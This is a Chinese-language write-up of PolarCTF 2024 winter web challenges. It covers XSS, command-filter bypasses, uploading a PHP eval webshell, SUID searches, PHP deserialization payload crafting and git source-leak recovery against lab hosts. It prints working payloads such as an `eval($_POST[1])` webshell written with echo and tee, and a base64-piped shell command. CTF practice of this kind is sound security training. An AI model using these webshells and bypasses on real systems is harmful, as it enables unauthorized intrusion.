2024polarctf-web冬季个人挑战赛

【WEB】xxmmll

这个是先bp发个包,响应的有个php文件,进去之后有个输入框

1

【WEB】赌王 –没做出来

直接发空爆破

你可以去ed3d2c21991e3bef5e069713af9fa6ca这个目录下看看,但是这个提示不对,这是个php文件

image-20241207111552498

进入之后会提示,输入数字会在你原有的数字后边+1;长度限制为20

image-20241207133140668

存在xss漏洞但是没东西

数字unicode绕过+科学计数法+全字符绕过 不好使,好像是没被解析

复现

1
2
3
<script>confirm(1);</script>
按提示去xss;提示如下↓
就c你o还n想f弹i窗r,m

给出另一个文件php,然后网页源代码有提示,伪造本地IP;然后去命令执行

image-20241208160223077

【WEB】狗黑子的RCE

ps看进程,里面没事,env看环境变量,有个假flag

image-20241207133019257

image-20241207134403900

打开文件使用函数替换
  • rev
  • strings
查看目录文件使用函数替换
  • find / **find**列出目录及其子目录中的文件。
    • 出flag.php
  • du / **du**:查看目录大小和文件信息
    • 在这里不出flag.php
  • stat /
    • **stat**:通过 stat 获取文件或目录的详细信息。

最后使用\反下划线绕过flag的禁用

image-20241207141907968

【WEB】坏掉的上传页

坏掉的上传页,就写个新的上传页面(让gpt写的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://c9dea8b9-ab95-4cac-8f5d-0b8744a668a5.www.polarctf.com:8090" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

能传,但是找不到传哪去了

disearch扫一下发现有个config.php

image-20241207143740616

内容为

1
2
3
4
5
<?php
error_reporting(0);
show_source(__FILE__);
define("DB_FILE", UPLOAD_PATH . "database.db");
?>

分析一下👇define("DB_FILE", UPLOAD_PATH . "database.db");

  • 作用:定义常量 DB_FILE,它表示数据库文件的路径。

  • define() 用来定义一个常量,这个常量一旦定义就不能再修改。

  • 这段代码将常量

    1
    DB_FILE

    设置为一个路径,路径是由

    1
    UPLOAD_PATH

    常量和文件名

    1
    database.db

    拼接而成。

    • UPLOAD_PATH 是另一个常量或变量,它应该在其他地方定义,并代表上传文件目录的路径。
    • 例如,如果 UPLOAD_PATH 被定义为 /var/www/uploads/,那么 DB_FILE 就会是 /var/www/uploads/database.db

image-20241207144914943

所以步骤就出来了

  1. 上传一句话木马image-20241207145612426

  2. 在/database.db上边看新出来的文件上传到哪了

  3. 直接访问利用image-20241207145742361

  4. 这个flag好像是假的;蚁剑连上去全局查找一下

    1
    find / -type f -name "*flag*"
  5. 出真flagimage-20241207151549176

【WEB】button

查看网页源代码,就是发送了一个请求;直接发包

image-20241207173603625

image-20241207173435280

【WEB】井字棋

根据网页源代码制作请求包

image-20241207180204274

image-20241207180306030

【WEB】简单的导航站

有提示,鼠标放在5个选项上显示的是,不敲了,自己看吧

先注册登录,然后有个用户列表,在fastcoll上边构造两个md5之后相等的不相等文件;用yakit发本地文件;可以看到用户列表里面有个P0la2adm1n

image-20241207181516647

主页查看页面源代码,出现Admin1234! 这个是密码;账户名爆破上边的这个

然后上传个gif89a开头的码,然后将码复制出来爆破验证flag哪个,筛选出正确的

【WEB】坦诚相见

ls ${PWD:0:1}f\lag

但是无法打开文件

1
-r--------    1 root     root            39 Dec  6 16:34 /flag

可见需要提权

再试试看看其他的

1
find ${PWD:0:1} -type f -name "*fla*"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/proc/sys/kernel/acpi_video_flags
/proc/sys/kernel/sched_domain/cpu0/domain0/flags
/proc/sys/kernel/sched_domain/cpu0/domain1/flags
/proc/sys/kernel/sched_domain/cpu1/domain0/flags
/proc/sys/kernel/sched_domain/cpu1/domain1/flags
/proc/sys/kernel/sched_domain/cpu2/domain0/flags
/proc/sys/kernel/sched_domain/cpu2/domain1/flags
/proc/sys/kernel/sched_domain/cpu3/domain0/flags
/proc/sys/kernel/sched_domain/cpu3/domain1/flags
/proc/sys/kernel/sched_domain/cpu4/domain0/flags
/proc/sys/kernel/sched_domain/cpu4/domain1/flags
/proc/sys/kernel/sched_domain/cpu5/domain0/flags
/proc/sys/kernel/sched_domain/cpu5/domain1/flags
/proc/sys/kernel/sched_domain/cpu6/domain0/flags
/proc/sys/kernel/sched_domain/cpu6/domain1/flags
/proc/sys/kernel/sched_domain/cpu7/domain0/flags
/proc/sys/kernel/sched_domain/cpu7/domain1/flags
/proc/kpageflags
/sys/devices/pnp0/00:04/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/virtual/net/eth0/flags
/sys/module/scsi_mod/parameters/default_dev_flags
/usr/lib/apache2/mod_deflate.so
/flag

没办法,写码

  • 法一,自己手搓
1
echo "$(head -c 1 index.php)?php eval(\$_POST[1]); ?$(tail -c 1 index.php)" | tee 2.php
  • 法二,模样大佬的码
1
Echo "shell" | tee 1.php
  • 法三,直接删除no.php
1

  • 法四
1
wc $(echo "L2Yq" | base64 -d)
  • 法五
1
cd ..;cd ..;cd ..;sudo cat flag
  • 法六
1
echo 'c3VkbyBjYXQgL22sYc='|base64 -d|sh

找suid

1
find / -perm -u=s -type f 2>/dev/null

suid提权失败,随便点了几下直接出flag了

image-20241207205535713

【WEB】Note

disearch扫出文件泄露flag.txt

image-20241207194901109

复现

这个根据debug.txt去构造反序列化对象

参数名为data,对象是Note;里面有个filename和

image-20241208152739448

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

class Note{
private $filename;
}

$a=new Note();
$reflection =new ReflectionClass($a);

//修改私有属性
$b =$reflection->getProperty('filename');
$b->setAccessible(true);
$b ->setValue($a,'flag.txt');

echo serialize($a);
echo urlencode(serialize($a));

任务cmd

复现

响应包有提示

1
X-Powered-By: the username is :  xiaoming

爆破密码

123123 在url上面修改成xiaohei

用小黑的电话号作为密钥,在扫目录中idnex.php爆破admin的密码,然后计划一,以cmd为参数命令执行

ezezser

复现

考的反序列化和git源码泄露

1
python2 GitHack.py http://e1b023a7-f6ad-4077-940e-374e4b38ce61.www.polarctf.com:8090/.git/
1
git log --all 用于查看 Git 仓库中所有分支的提交历史记录。
1
git reset --hard <commit>:将当前分支重置到指定的提交 <commit>,并且丢弃所有本地更改。

image-20241208163532029

然后接着做就行,出完整源码了

ezUtil-java的欠着